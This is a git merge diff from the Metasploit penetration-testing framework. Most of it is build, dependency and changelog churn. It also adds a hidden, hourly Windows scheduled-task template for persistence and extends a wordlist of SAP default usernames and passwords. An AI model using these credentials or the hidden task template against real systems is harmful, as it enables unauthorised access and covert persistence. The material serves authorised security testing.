Merge branch 'master' into wds_scanner_repull
commit
df3361df50
|
@ -0,0 +1,58 @@
|
||||||
|
# RM_INFO is set when using Rubymine. In Rubymine, starting SimpleCov is
|
||||||
|
# controlled by running with coverage, so don't explicitly start coverage (and
|
||||||
|
# therefore generate a report) when in Rubymine. This _will_ generate a report
|
||||||
|
# whenever `rake spec` is run.
|
||||||
|
unless ENV['RM_INFO']
|
||||||
|
SimpleCov.start
|
||||||
|
end
|
||||||
|
|
||||||
|
SimpleCov.configure do
|
||||||
|
# ignore this file
|
||||||
|
add_filter '.simplecov'
|
||||||
|
|
||||||
|
#
|
||||||
|
# Changed Files in Git Group
|
||||||
|
# @see http://fredwu.me/post/35625566267/simplecov-test-coverage-for-changed-files-only
|
||||||
|
#
|
||||||
|
|
||||||
|
untracked = `git ls-files --exclude-standard --others`
|
||||||
|
unstaged = `git diff --name-only`
|
||||||
|
staged = `git diff --name-only --cached`
|
||||||
|
all = untracked + unstaged + staged
|
||||||
|
changed_filenames = all.split("\n")
|
||||||
|
|
||||||
|
add_group 'Changed' do |source_file|
|
||||||
|
changed_filenames.detect { |changed_filename|
|
||||||
|
source_file.filename.end_with?(changed_filename)
|
||||||
|
}
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Framework (msf) related groups
|
||||||
|
#
|
||||||
|
|
||||||
|
add_group 'Metasploit Framework', 'lib/msf'
|
||||||
|
add_group 'Metasploit Framework (Base)', 'lib/msf/base'
|
||||||
|
add_group 'Metasploit Framework (Core)', 'lib/msf/core'
|
||||||
|
|
||||||
|
#
|
||||||
|
# Other library groups
|
||||||
|
#
|
||||||
|
|
||||||
|
add_group 'Fastlib', 'lib/fastlib'
|
||||||
|
add_group 'Metasm', 'lib/metasm'
|
||||||
|
add_group 'PacketFu', 'lib/packetfu'
|
||||||
|
add_group 'Rex', 'lib/rex'
|
||||||
|
add_group 'RKelly', 'lib/rkelly'
|
||||||
|
add_group 'Ruby Mysql', 'lib/rbmysql'
|
||||||
|
add_group 'Ruby Postgres', 'lib/postgres'
|
||||||
|
add_group 'SNMP', 'lib/snmp'
|
||||||
|
add_group 'Zip', 'lib/zip'
|
||||||
|
|
||||||
|
#
|
||||||
|
# Specs are reported on to ensure that all examples are being run and all
|
||||||
|
# lets, befores, afters, etc are being used.
|
||||||
|
#
|
||||||
|
|
||||||
|
add_group 'Specs', 'spec'
|
||||||
|
end
|
|
@ -1,4 +1,8 @@
|
||||||
language: ruby
|
language: ruby
|
||||||
|
before_install:
|
||||||
|
- sudo apt-get update -qq
|
||||||
|
- sudo apt-get install -qq libpcap-dev
|
||||||
|
|
||||||
rvm:
|
rvm:
|
||||||
#- '1.8.7'
|
#- '1.8.7'
|
||||||
- '1.9.3'
|
- '1.9.3'
|
||||||
|
|
12
Gemfile
12
Gemfile
|
@ -4,10 +4,20 @@ source 'http://rubygems.org'
|
||||||
gem 'activesupport', '>= 3.0.0'
|
gem 'activesupport', '>= 3.0.0'
|
||||||
# Needed for Msf::DbManager
|
# Needed for Msf::DbManager
|
||||||
gem 'activerecord'
|
gem 'activerecord'
|
||||||
|
# Needed for some admin modules (scrutinizer_add_user.rb)
|
||||||
|
gem 'json'
|
||||||
# Database models shared between framework and Pro.
|
# Database models shared between framework and Pro.
|
||||||
gem 'metasploit_data_models', :git => 'git://github.com/rapid7/metasploit_data_models.git', :tag => '0.3.0'
|
gem 'metasploit_data_models', :git => 'git://github.com/rapid7/metasploit_data_models.git', :tag => '0.6.0'
|
||||||
|
# Needed by msfgui and other rpc components
|
||||||
|
gem 'msgpack'
|
||||||
|
# Needed by anemone crawler
|
||||||
|
gem 'nokogiri'
|
||||||
# Needed for module caching in Mdm::ModuleDetails
|
# Needed for module caching in Mdm::ModuleDetails
|
||||||
gem 'pg', '>= 0.11'
|
gem 'pg', '>= 0.11'
|
||||||
|
# Needed by anemone crawler
|
||||||
|
gem 'robots'
|
||||||
|
# For sniffer and raw socket modules
|
||||||
|
gem 'pcaprub'
|
||||||
|
|
||||||
group :development do
|
group :development do
|
||||||
# Markdown formatting for yard
|
# Markdown formatting for yard
|
||||||
|
|
42
Gemfile.lock
42
Gemfile.lock
|
@ -1,10 +1,10 @@
|
||||||
GIT
|
GIT
|
||||||
remote: git://github.com/rapid7/metasploit_data_models.git
|
remote: git://github.com/rapid7/metasploit_data_models.git
|
||||||
revision: 73f26789500f278dd6fd555e839d09a3b81a05f4
|
revision: 0285d6e199f125b33214100dcb0f4eeb12ee765f
|
||||||
tag: 0.3.0
|
tag: 0.6.0
|
||||||
specs:
|
specs:
|
||||||
metasploit_data_models (0.3.0)
|
metasploit_data_models (0.6.0)
|
||||||
activerecord
|
activerecord (>= 3.2.10)
|
||||||
activesupport
|
activesupport
|
||||||
pg
|
pg
|
||||||
pry
|
pry
|
||||||
|
@ -12,31 +12,36 @@ GIT
|
||||||
GEM
|
GEM
|
||||||
remote: http://rubygems.org/
|
remote: http://rubygems.org/
|
||||||
specs:
|
specs:
|
||||||
activemodel (3.2.9)
|
activemodel (3.2.12)
|
||||||
activesupport (= 3.2.9)
|
activesupport (= 3.2.12)
|
||||||
builder (~> 3.0.0)
|
builder (~> 3.0.0)
|
||||||
activerecord (3.2.9)
|
activerecord (3.2.12)
|
||||||
activemodel (= 3.2.9)
|
activemodel (= 3.2.12)
|
||||||
activesupport (= 3.2.9)
|
activesupport (= 3.2.12)
|
||||||
arel (~> 3.0.2)
|
arel (~> 3.0.2)
|
||||||
tzinfo (~> 0.3.29)
|
tzinfo (~> 0.3.29)
|
||||||
activesupport (3.2.9)
|
activesupport (3.2.12)
|
||||||
i18n (~> 0.6)
|
i18n (~> 0.6)
|
||||||
multi_json (~> 1.0)
|
multi_json (~> 1.0)
|
||||||
arel (3.0.2)
|
arel (3.0.2)
|
||||||
builder (3.0.4)
|
builder (3.0.4)
|
||||||
coderay (1.0.8)
|
coderay (1.0.9)
|
||||||
diff-lcs (1.1.3)
|
diff-lcs (1.1.3)
|
||||||
i18n (0.6.1)
|
i18n (0.6.4)
|
||||||
|
json (1.7.7)
|
||||||
method_source (0.8.1)
|
method_source (0.8.1)
|
||||||
|
msgpack (0.5.2)
|
||||||
multi_json (1.0.4)
|
multi_json (1.0.4)
|
||||||
|
nokogiri (1.5.6)
|
||||||
|
pcaprub (0.11.3)
|
||||||
pg (0.14.1)
|
pg (0.14.1)
|
||||||
pry (0.9.10)
|
pry (0.9.12)
|
||||||
coderay (~> 1.0.5)
|
coderay (~> 1.0.5)
|
||||||
method_source (~> 0.8)
|
method_source (~> 0.8)
|
||||||
slop (~> 3.3.1)
|
slop (~> 3.4)
|
||||||
rake (10.0.2)
|
rake (10.0.2)
|
||||||
redcarpet (2.2.2)
|
redcarpet (2.2.2)
|
||||||
|
robots (0.10.1)
|
||||||
rspec (2.12.0)
|
rspec (2.12.0)
|
||||||
rspec-core (~> 2.12.0)
|
rspec-core (~> 2.12.0)
|
||||||
rspec-expectations (~> 2.12.0)
|
rspec-expectations (~> 2.12.0)
|
||||||
|
@ -49,8 +54,8 @@ GEM
|
||||||
multi_json (~> 1.0.3)
|
multi_json (~> 1.0.3)
|
||||||
simplecov-html (~> 0.5.3)
|
simplecov-html (~> 0.5.3)
|
||||||
simplecov-html (0.5.3)
|
simplecov-html (0.5.3)
|
||||||
slop (3.3.3)
|
slop (3.4.3)
|
||||||
tzinfo (0.3.35)
|
tzinfo (0.3.36)
|
||||||
yard (0.8.3)
|
yard (0.8.3)
|
||||||
|
|
||||||
PLATFORMS
|
PLATFORMS
|
||||||
|
@ -59,10 +64,15 @@ PLATFORMS
|
||||||
DEPENDENCIES
|
DEPENDENCIES
|
||||||
activerecord
|
activerecord
|
||||||
activesupport (>= 3.0.0)
|
activesupport (>= 3.0.0)
|
||||||
|
json
|
||||||
metasploit_data_models!
|
metasploit_data_models!
|
||||||
|
msgpack
|
||||||
|
nokogiri
|
||||||
|
pcaprub
|
||||||
pg (>= 0.11)
|
pg (>= 0.11)
|
||||||
rake
|
rake
|
||||||
redcarpet
|
redcarpet
|
||||||
|
robots
|
||||||
rspec (>= 2.12)
|
rspec (>= 2.12)
|
||||||
simplecov (= 0.5.4)
|
simplecov (= 0.5.4)
|
||||||
yard
|
yard
|
||||||
|
|
9
Rakefile
9
Rakefile
|
@ -16,11 +16,16 @@ namespace :yard do
|
||||||
'-',
|
'-',
|
||||||
'COPYING',
|
'COPYING',
|
||||||
'HACKING',
|
'HACKING',
|
||||||
'THIRD-PARTY.md'
|
'LICENSE',
|
||||||
|
'CONTRIBUTING.md',
|
||||||
]
|
]
|
||||||
yard_options = [
|
yard_options = [
|
||||||
# include documentation for protected methods for developers extending the code.
|
# include documentation for protected methods for developers extending the code.
|
||||||
'--protected'
|
'--protected',
|
||||||
|
# Don't bother with files meant to be examples
|
||||||
|
'--exclude', 'samples/',
|
||||||
|
'--exclude', '\.ut\.rb/',
|
||||||
|
'--exclude', '\.ts\.rb/',
|
||||||
]
|
]
|
||||||
|
|
||||||
YARD::Rake::YardocTask.new(:doc) do |t|
|
YARD::Rake::YardocTask.new(:doc) do |t|
|
||||||
|
|
Binary file not shown.
Binary file not shown.
|
@ -1,6 +1,58 @@
|
||||||
Armitage Changelog
|
Armitage Changelog
|
||||||
==================
|
==================
|
||||||
|
|
||||||
|
6 Mar 13 (tested against msf ca43900a7)
|
||||||
|
--------
|
||||||
|
- Active console now gets higher priority when polling msf for output
|
||||||
|
- Improved team server responsiveness in high latency situations by
|
||||||
|
creating additional connections to server to balance messages over
|
||||||
|
- Preferences are now shared among each Armitage connection.
|
||||||
|
|
||||||
|
6 Mar 13 (2000h)
|
||||||
|
--------
|
||||||
|
- Fixed issue with additional team server connections reporting wrong
|
||||||
|
application and receiving a summary rejection by the team server.
|
||||||
|
|
||||||
|
Cortana Updates (for scripters)
|
||||||
|
--------
|
||||||
|
- Added a &publish, &query, &subscribe API to allow inter-script
|
||||||
|
communication across the team server.
|
||||||
|
- Added &table_update to set the contents of a table tab without
|
||||||
|
disturbing the highlighted rows.
|
||||||
|
- Added an exec_error event. Fired when &m_exec or &m_exec_local fail
|
||||||
|
due to an error reported by meterpreter.
|
||||||
|
- Fixed a bug that sometimes caused session_sync to fire twice (boo!)
|
||||||
|
- Added a 60s timeout to &s_cmd commands. Cortana will give a shell
|
||||||
|
command 60s to execute. If it doesn't finish in that time, Cortana
|
||||||
|
will release the lock on the shell so the user can control it.
|
||||||
|
(ideally, this shouldn't happen... this is a safety mechanism)
|
||||||
|
- Changed Meterpreter command timeout to 2m from 12s. This is because
|
||||||
|
https meterpreter might not checkin for up to 60s, if it's been
|
||||||
|
idle for a long time. This will make &m_cmd less likely to timeout
|
||||||
|
|
||||||
|
12 Feb 13 (tested against msf 16438)
|
||||||
|
---------
|
||||||
|
- Fixed a corner case preventing the display of removed host labels
|
||||||
|
when connected to a team server.
|
||||||
|
- Fixed RPC call cache corruption in team server mode. This bug could
|
||||||
|
lead to some exploits defaulting to a shell payload when meterpreter
|
||||||
|
was a possibility.
|
||||||
|
- Slight optimization to some DB queries. I no longer pull unused
|
||||||
|
fields making the query marginally faster. Team server is more
|
||||||
|
efficient too as changes to unused fields won't force data (re)sync.
|
||||||
|
- Hosts -> Clear Database now clears host labels too.
|
||||||
|
- Added the ability to manage multiple team server instances through
|
||||||
|
Armitage. Go to Armitage -> New Connection to connect to another
|
||||||
|
server. A button bar will appear that allows you to switch active
|
||||||
|
Armitage connections.
|
||||||
|
- Credentials available across instances are pooled when using
|
||||||
|
the [host] -> Login menu and the credential helper.
|
||||||
|
- Rewrote the event log management code in the team server
|
||||||
|
- Added nickname tab completion to event log. I feel like I'm writing
|
||||||
|
an IRC client again.
|
||||||
|
- Hosts -> Clear Database now asks you to confirm the action.
|
||||||
|
- Hosts -> Import Hosts announces successful import to event log again.
|
||||||
|
|
||||||
23 Jan 13 (tested against msf 16351)
|
23 Jan 13 (tested against msf 16351)
|
||||||
---------
|
---------
|
||||||
- Added helpers to set EXE::Custom and EXE::Template options.
|
- Added helpers to set EXE::Custom and EXE::Template options.
|
||||||
|
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,2 @@
|
||||||
|
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||||
|
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/word/document.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml"/><Override PartName="/word/styles.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.styles+xml"/><Override PartName="/docProps/app.xml" ContentType="application/vnd.openxmlformats-officedocument.extended-properties+xml"/><Override PartName="/word/settings.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.settings+xml"/><Override PartName="/word/theme/theme1.xml" ContentType="application/vnd.openxmlformats-officedocument.theme+xml"/><Override PartName="/word/fontTable.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.fontTable+xml"/><Override PartName="/word/webSettings.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.webSettings+xml"/><Override PartName="/docProps/core.xml" ContentType="application/vnd.openxmlformats-package.core-properties+xml"/></Types>
|
|
@ -0,0 +1,2 @@
|
||||||
|
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||||
|
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/extended-properties" Target="docProps/app.xml"/><Relationship Id="rId2" Type="http://schemas.openxmlformats.org/package/2006/relationships/metadata/core-properties" Target="docProps/core.xml"/><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="word/document.xml"/></Relationships>
|
|
@ -0,0 +1,2 @@
|
||||||
|
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||||
|
<Properties xmlns="http://schemas.openxmlformats.org/officeDocument/2006/extended-properties" xmlns:vt="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes"><Template>normal.dot</Template><TotalTime>0</TotalTime><Pages>1</Pages><Words>0</Words><Characters>3</Characters><Application>Microsoft Office Outlook</Application><DocSecurity>0</DocSecurity><Lines>0</Lines><Paragraphs>0</Paragraphs><ScaleCrop>false</ScaleCrop><Company></Company><LinksUpToDate>false</LinksUpToDate><CharactersWithSpaces>0</CharactersWithSpaces><SharedDoc>false</SharedDoc><HyperlinksChanged>false</HyperlinksChanged><AppVersion>12.0000</AppVersion></Properties>
|
|
@ -0,0 +1,2 @@
|
||||||
|
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||||
|
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/webSettings" Target="webSettings.xml"/><Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/settings" Target="settings.xml"/><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/styles" Target="styles.xml"/><Relationship Id="rId5" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/theme" Target="theme/theme1.xml"/><Relationship Id="rId4" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/fontTable" Target="fontTable.xml"/></Relationships>
|
|
@ -0,0 +1,2 @@
|
||||||
|
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||||
|
<w:document xmlns:ve="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:wne="http://schemas.microsoft.com/office/word/2006/wordml"><w:body><w:p w:rsidR="00E97639" w:rsidRDefault="00E97639"><w:r><w:t> </w:t></w:r></w:p><w:sectPr w:rsidR="00E97639" w:rsidSect="00B25E88"><w:pgSz w:w="12240" w:h="15840"/><w:pgMar w:top="1440" w:right="1440" w:bottom="1440" w:left="1440" w:header="720" w:footer="720" w:gutter="0"/><w:cols w:space="720"/><w:docGrid w:linePitch="360"/></w:sectPr></w:body></w:document>
|
|
@ -0,0 +1,2 @@
|
||||||
|
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||||
|
<w:fonts xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main"><w:font w:name="Times New Roman"><w:panose1 w:val="02020603050405020304"/><w:charset w:val="00"/><w:family w:val="roman"/><w:pitch w:val="variable"/><w:sig w:usb0="20002A87" w:usb1="80000000" w:usb2="00000008" w:usb3="00000000" w:csb0="000001FF" w:csb1="00000000"/></w:font><w:font w:name="Cambria"><w:panose1 w:val="02040503050406030204"/><w:charset w:val="00"/><w:family w:val="roman"/><w:pitch w:val="variable"/><w:sig w:usb0="A00002EF" w:usb1="4000004B" w:usb2="00000000" w:usb3="00000000" w:csb0="0000009F" w:csb1="00000000"/></w:font><w:font w:name="Calibri"><w:panose1 w:val="020F0502020204030204"/><w:charset w:val="00"/><w:family w:val="swiss"/><w:pitch w:val="variable"/><w:sig w:usb0="A00002EF" w:usb1="4000207B" w:usb2="00000000" w:usb3="00000000" w:csb0="0000009F" w:csb1="00000000"/></w:font></w:fonts>
|
|
@ -0,0 +1,2 @@
|
||||||
|
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||||
|
<w:settings xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:sl="http://schemas.openxmlformats.org/schemaLibrary/2006/main"><w:zoom w:percent="100"/><w:embedSystemFonts/><w:attachedTemplate r:id="rId1"/><w:defaultTabStop w:val="720"/><w:characterSpacingControl w:val="doNotCompress"/><w:doNotValidateAgainstSchema/><w:doNotDemarcateInvalidXml/><w:compat><w:useNormalStyleForList/><w:doNotUseIndentAsNumberingTabStop/><w:useAltKinsokuLineBreakRules/><w:allowSpaceOfSameStyleInTable/><w:doNotSuppressIndentation/><w:doNotAutofitConstrainedTables/><w:autofitToFirstFixedWidthCell/><w:underlineTabInNumList/><w:displayHangulFixedWidth/><w:splitPgBreakAndParaMark/><w:doNotVertAlignCellWithSp/><w:doNotBreakConstrainedForcedTable/><w:doNotVertAlignInTxbx/><w:useAnsiKerningPairs/><w:cachedColBalance/></w:compat><w:rsids><w:rsidRoot w:val="00B25E88"/><w:rsid w:val="00890656"/><w:rsid w:val="00B25E88"/><w:rsid w:val="00E97639"/></w:rsids><m:mathPr><m:mathFont m:val="Cambria Math"/><m:brkBin m:val="before"/><m:brkBinSub m:val="--"/><m:smallFrac m:val="off"/><m:dispDef/><m:lMargin m:val="0"/><m:rMargin m:val="0"/><m:defJc m:val="centerGroup"/><m:wrapIndent m:val="1440"/><m:intLim m:val="subSup"/><m:naryLim m:val="undOvr"/></m:mathPr><w:uiCompat97To2003/><w:themeFontLang w:val="en-US"/><w:clrSchemeMapping w:bg1="light1" w:t1="dark1" w:bg2="light2" w:t2="dark2" w:accent1="accent1" w:accent2="accent2" w:accent3="accent3" w:accent4="accent4" w:accent5="accent5" w:accent6="accent6" w:hyperlink="hyperlink" w:followedHyperlink="followedHyperlink"/><w:doNotIncludeSubdocsInStats/><w:doNotAutoCompressPictures/><w:decimalSymbol w:val="."/><w:listSeparator w:val=","/></w:settings>
|
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
|
@ -0,0 +1,2 @@
|
||||||
|
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||||
|
<w:webSettings xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main"><w:optimizeForBrowser/></w:webSettings>
|
|
@ -0,0 +1,50 @@
|
||||||
|
<?xml version="1.0" encoding="UTF-16"?>
|
||||||
|
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
|
||||||
|
<RegistrationInfo>
|
||||||
|
<Date>DATEHERE</Date>
|
||||||
|
<Author>USERHERE</Author>
|
||||||
|
</RegistrationInfo>
|
||||||
|
<Triggers>
|
||||||
|
<TimeTrigger>
|
||||||
|
<Repetition>
|
||||||
|
<Interval>PT60M</Interval>
|
||||||
|
<StopAtDurationEnd>false</StopAtDurationEnd>
|
||||||
|
</Repetition>
|
||||||
|
<StartBoundary>DATEHERE</StartBoundary>
|
||||||
|
<Enabled>true</Enabled>
|
||||||
|
</TimeTrigger>
|
||||||
|
</Triggers>
|
||||||
|
<Principals>
|
||||||
|
<Principal id="Author">
|
||||||
|
<UserId>DOMAINHERE</UserId>
|
||||||
|
<LogonType>S4U</LogonType>
|
||||||
|
<RunLevel>LeastPrivilege</RunLevel>
|
||||||
|
</Principal>
|
||||||
|
</Principals>
|
||||||
|
<Settings>
|
||||||
|
<MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>
|
||||||
|
<DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>
|
||||||
|
<StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
|
||||||
|
<AllowHardTerminate>true</AllowHardTerminate>
|
||||||
|
<StartWhenAvailable>false</StartWhenAvailable>
|
||||||
|
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
|
||||||
|
<IdleSettings>
|
||||||
|
<Duration>PT10M</Duration>
|
||||||
|
<WaitTimeout>PT1H</WaitTimeout>
|
||||||
|
<StopOnIdleEnd>true</StopOnIdleEnd>
|
||||||
|
<RestartOnIdle>false</RestartOnIdle>
|
||||||
|
</IdleSettings>
|
||||||
|
<AllowStartOnDemand>true</AllowStartOnDemand>
|
||||||
|
<Enabled>true</Enabled>
|
||||||
|
<Hidden>true</Hidden>
|
||||||
|
<RunOnlyIfIdle>false</RunOnlyIfIdle>
|
||||||
|
<WakeToRun>false</WakeToRun>
|
||||||
|
<ExecutionTimeLimit>PT72H</ExecutionTimeLimit>
|
||||||
|
<Priority>7</Priority>
|
||||||
|
</Settings>
|
||||||
|
<Actions Context="Author">
|
||||||
|
<Exec>
|
||||||
|
<Command>COMMANDHERE</Command>
|
||||||
|
</Exec>
|
||||||
|
</Actions>
|
||||||
|
</Task>
|
Binary file not shown.
|
@ -1,20 +0,0 @@
|
||||||
class AddCredFileTable < ActiveRecord::Migration
|
|
||||||
|
|
||||||
def self.up
|
|
||||||
create_table :cred_files do |t|
|
|
||||||
t.integer :workspace_id, :null => false, :default => 1
|
|
||||||
t.string :path, :limit => 1024
|
|
||||||
t.string :ftype, :limit => 16
|
|
||||||
t.string :created_by
|
|
||||||
t.string :name, :limit => 512
|
|
||||||
t.string :desc, :limit => 1024
|
|
||||||
|
|
||||||
t.timestamps
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
def self.down
|
|
||||||
drop_table :cred_files
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
|
@ -1,127 +0,0 @@
|
||||||
class MoveOldImportedCredsToNewFiles < ActiveRecord::Migration
|
|
||||||
|
|
||||||
class ImportedCred < ActiveRecord::Base
|
|
||||||
end
|
|
||||||
|
|
||||||
class CredFile < ActiveRecord::Base
|
|
||||||
end
|
|
||||||
|
|
||||||
class Workspace < ActiveRecord::Base
|
|
||||||
end
|
|
||||||
|
|
||||||
class << self
|
|
||||||
|
|
||||||
def find_or_create_cred_path
|
|
||||||
cred_files_dir = nil
|
|
||||||
msf_base = Msf::Config.install_root
|
|
||||||
pro_base = File.expand_path(File.join(msf_base, "..", "engine", "lib", "pro"))
|
|
||||||
if File.directory? pro_base
|
|
||||||
cred_files_dir = File.expand_path(File.join(msf_base, "..", "cred_files"))
|
|
||||||
FileUtils.mkdir_p(cred_files_dir) unless File.exists?(cred_files_dir)
|
|
||||||
if File.directory?(cred_files_dir) and File.writable?(cred_files_dir)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
return cred_files_dir
|
|
||||||
end
|
|
||||||
|
|
||||||
def find_all_imported_creds_by_workspace
|
|
||||||
valid_ptypes = ["smb_hash", "userpass", "password"]
|
|
||||||
valid_workspaces = Workspace.all.map {|w| w.id}
|
|
||||||
creds = {}
|
|
||||||
ImportedCred.all.each do |cred|
|
|
||||||
next unless cred.ptype
|
|
||||||
next unless valid_ptypes.include? cred.ptype
|
|
||||||
next unless cred.workspace_id
|
|
||||||
next unless valid_workspaces.include? cred.workspace_id
|
|
||||||
creds[cred.workspace_id] ||= []
|
|
||||||
creds[cred.workspace_id] << cred
|
|
||||||
end
|
|
||||||
return creds
|
|
||||||
end
|
|
||||||
|
|
||||||
def sort_creds_into_file_types(old_creds)
|
|
||||||
files = {}
|
|
||||||
old_creds.each do |wid,creds|
|
|
||||||
filedata = {}
|
|
||||||
creds.each do |cred|
|
|
||||||
filedata[cred.ptype] ||= []
|
|
||||||
case cred.ptype
|
|
||||||
when "smb_hash", "userpass"
|
|
||||||
filedata[cred.ptype] << ("%s %s" % [cred.user,cred.pass])
|
|
||||||
when "password"
|
|
||||||
filedata[cred.ptype] << cred.pass.to_s
|
|
||||||
end
|
|
||||||
files[wid] = filedata
|
|
||||||
end
|
|
||||||
end
|
|
||||||
return files
|
|
||||||
end
|
|
||||||
|
|
||||||
def write_creds_to_files(old_creds,cred_path)
|
|
||||||
file_data_to_write = sort_creds_into_file_types(old_creds)
|
|
||||||
files_written = []
|
|
||||||
file_data_to_write.each do |wid, fdata_hash|
|
|
||||||
fdata_hash.each do |ftype,cred_data|
|
|
||||||
next unless cred_data
|
|
||||||
next if cred_data.empty?
|
|
||||||
fname = File.join(cred_path,"creds_#{wid}_#{ftype}-#{Time.now.utc.to_i}.txt")
|
|
||||||
fdata = cred_data.join("\n")
|
|
||||||
fh = File.open(fname, "wb")
|
|
||||||
begin
|
|
||||||
fh.write fdata
|
|
||||||
fh.flush
|
|
||||||
ensure
|
|
||||||
fh.close
|
|
||||||
end
|
|
||||||
files_written << fname
|
|
||||||
end
|
|
||||||
end
|
|
||||||
return files_written
|
|
||||||
end
|
|
||||||
|
|
||||||
def register_new_files(new_files)
|
|
||||||
successful_count = 0
|
|
||||||
new_files.each do |fname|
|
|
||||||
next unless File.split(fname).last =~ /^creds_([0-9]+)_(userpass|password|smb_hash)\-[0-9]+\.txt$/
|
|
||||||
wid = $1
|
|
||||||
next unless Workspace.find(wid)
|
|
||||||
ftype = $2
|
|
||||||
actual_ftype = case ftype
|
|
||||||
when "smb_hash", "userpass"
|
|
||||||
"userpass" # They're treated the same
|
|
||||||
when "password"
|
|
||||||
"pass"
|
|
||||||
end
|
|
||||||
next unless actual_ftype
|
|
||||||
say "Registering credential file '%s' for workspace %d as type '%s'" % [fname,wid,actual_ftype]
|
|
||||||
cred_file = CredFile.new
|
|
||||||
cred_file.workspace_id = wid
|
|
||||||
cred_file.created_by = ""
|
|
||||||
cred_file.path = fname
|
|
||||||
cred_file.name = "#{ftype}.txt"
|
|
||||||
cred_file.desc = "Migrated #{ftype} credentials"
|
|
||||||
cred_file.ftype = actual_ftype
|
|
||||||
if cred_file.save
|
|
||||||
successful_count += 1
|
|
||||||
say "Successfully imported #{ftype} credentials for workspace #{wid}"
|
|
||||||
end
|
|
||||||
end
|
|
||||||
successful_count
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
||||||
|
|
||||||
def self.up
|
|
||||||
cred_path = find_or_create_cred_path
|
|
||||||
if cred_path
|
|
||||||
old_imported_creds = find_all_imported_creds_by_workspace
|
|
||||||
new_files = write_creds_to_files(old_imported_creds,cred_path)
|
|
||||||
successful_count = register_new_files(new_files)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
# Sorry, can't get the old data back.
|
|
||||||
def self.down
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
|
@ -6,9 +6,14 @@ SAPCPIC ADMIN
|
||||||
EARLYWATCH SUPPORT
|
EARLYWATCH SUPPORT
|
||||||
TMSADM PASSWORD
|
TMSADM PASSWORD
|
||||||
TMSADM ADMIN
|
TMSADM ADMIN
|
||||||
|
TMSADM $1Pawd2&
|
||||||
ADMIN welcome
|
ADMIN welcome
|
||||||
ADSUSER ch4ngeme
|
ADSUSER ch4ngeme
|
||||||
ADS_AGENT ch4ngeme
|
ADS_AGENT ch4ngeme
|
||||||
DEVELOPER ch4ngeme
|
DEVELOPER ch4ngeme
|
||||||
J2EE_ADMIN ch4ngeme
|
J2EE_ADMIN ch4ngeme
|
||||||
SAPJSF ch4ngeme
|
SAPJSF ch4ngeme
|
||||||
|
SAPR3 SAP
|
||||||
|
CTB_ADMIN sap123
|
||||||
|
XMI_DEMO sap123
|
||||||
|
|
||||||
|
|
|
@ -116,6 +116,7 @@
|
||||||
/sap/bc/bsp/sap/graph_bsp_test
|
/sap/bc/bsp/sap/graph_bsp_test
|
||||||
/sap/bc/bsp/sap/graph_bsp_test/Mimes
|
/sap/bc/bsp/sap/graph_bsp_test/Mimes
|
||||||
/sap/bc/bsp/sap/gsbirp
|
/sap/bc/bsp/sap/gsbirp
|
||||||
|
